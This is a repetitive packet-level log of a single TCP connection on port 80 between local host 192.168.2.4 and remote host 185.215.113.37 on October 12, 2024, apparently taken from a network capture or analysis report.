Oct 12, 2024 13:17:28.308794975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.308794975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.308819056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.308856964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.308856964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.308865070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.308914900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.308948040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.308957100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.308957100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.308998108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309003115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309048891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309078932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309088945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309088945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309113979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309145927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309154034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309154034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309179068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309202909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309225082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309231043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309263945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309288025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309298038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309308052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309330940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309364080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309370995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309370995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309396982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309420109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309447050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309478998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309482098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309482098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309511900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309520006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309545040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309576988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309585094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309585094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309607983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309619904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309640884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309655905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309675932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309688091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309709072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309743881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309784889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309784889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309792042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309827089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309860945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309866905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309866905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309894085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309926033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309931993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309931993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.309957981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.309989929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310003042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310003042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310024023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310035944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310055971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310087919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310096025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310096025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310117960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310152054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310157061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310157061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310185909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310216904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310225010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310225010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310250998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310282946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310290098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310290098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310319901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310353041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310362101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310362101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310385942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310417891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310425043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310425043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310451031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310483932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310491085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310491085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310517073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310549974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310559034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310559034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310584068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310605049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310621977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310655117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310662031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310662031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310688972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310722113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310730934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310730934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310754061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310770988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310787916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310797930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310822010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310857058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310862064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310862064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310889959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310923100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310930967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310930967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310956001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310987949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.310992956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.310992956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311021090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311053991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311065912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311065912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311086893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311120033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311126947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311126947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311152935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311186075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311192036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311192036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311218023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311250925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311258078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311258078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311284065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311320066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.311325073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311325073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.311361074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401510000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401580095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401601076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401629925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401647091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401665926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401698112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401729107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401746035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401746035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401761055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401793003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401806116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401806116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401823997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401856899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401871920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401871920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401885986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401906967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401925087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.401957035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.401976109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402009010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402065039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402066946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402115107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402132034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402180910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402188063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402232885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402266979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402281046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402281046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402316093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402348042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402363062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402363062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402380943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402412891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402416945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402446985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402457952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402457952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402479887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402513981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402527094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402527094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402564049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402590036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402599096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402631998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402646065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402646065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402668953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402718067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402718067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402718067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402751923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402772903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402785063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402818918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402832985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402832985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402873039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402878046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402925968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.402928114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.402976036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403018951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403018951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403028965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403058052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403093100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403093100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403106928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403156996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403172016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403188944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403220892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403227091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403227091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403254032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403285980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403295994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403295994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403317928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403351068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403359890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403359890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403382063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403392076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403434992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403443098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403470039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403487921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403507948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403538942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403539896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403573990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403588057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403588057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403608084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403640985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403651953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403651953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403672934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403704882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403714895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403714895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403737068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403762102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403769016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403800964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403810978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403810978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403832912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403867006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403879881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403879881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403901100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403934002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403937101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403968096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.403980017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.403980017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404001951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404033899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404046059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404046059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404067993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404099941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404114008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404114008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404134035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404156923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404162884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404196978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404200077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404230118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404236078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404236078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404263020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404275894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404297113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404330969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.404344082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404344082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.404481888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431063890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431094885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431138992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431138992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431145906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431179047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431210995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431226015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431226015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431243896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431262970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431281090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431322098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431333065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431333065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431350946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.431399107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.431399107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.445688963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.445764065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.445811033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.445811033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.445832014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.445866108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.445898056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.445913076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.445913076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.445935011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.445957899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.445969105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446003914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446014881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446014881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446036100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446069002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446082115 CEST	49730	80	192.168.2.4	185.215.113.37
